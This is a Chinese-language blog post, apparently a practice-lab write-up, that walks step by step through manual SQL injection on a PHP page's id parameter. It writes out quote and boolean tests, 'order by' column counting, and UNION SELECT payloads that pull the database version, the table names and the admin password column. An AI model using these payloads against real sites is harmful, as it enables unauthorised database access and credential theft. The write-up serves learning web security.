我们进入后发现,网址为: http://120.203.13.75:6815/index.php?id=1

作为学过web安全的我们,看到id回想到什么,首先想到的肯定是sql注入了。我首先加了个单引号进行测试,返回的页面是如下:
Sql注入
发现报错了,那我再换个语句进行测试,在后面输入,and 1=1,发现返回的页面是这样
Sql注入

然后再输入;and 1=2,返回的是
Sql注入

到了这里基本就可以判断是存在注入了。

我们首先使用order by 猜注入点 ,先是order by 10
Sql注入
发现报错,然后使用二分法,一直到order by 2时,返回的页面为这个:
Sql注入
那么基本确定注入点为2.

查出有多少个字段
Sql注入
接下来查一下数据库版本,and 1=2 UNION SELECT 1,version()
Sql注入
确定数据库版本为mysql 5.5.53

and 1=2 UNION SELECT 1,database()爆出数据库名
Sql注入

因为这是个mysql数据库,且版本为5.5.53,所以接下来查询表名:

and 1=2 UNION SELECT 1,table_name from information_schema.tables where table_schema=database()
Sql注入

查询密码 and 1=2 UNION SELECT 1,password from admin
Sql注入

相关文章:

  • 2022-12-23
  • 2022-12-23
  • 2022-12-23
  • 2022-12-23
  • 2021-06-10
  • 2021-12-15
猜你喜欢
  • 2021-06-15
  • 2021-05-21
  • 2022-12-23
  • 2021-07-26
  • 2021-11-29
  • 2021-12-02
  • 2021-11-13
  • 2022-12-23
相关资源
相似解决方案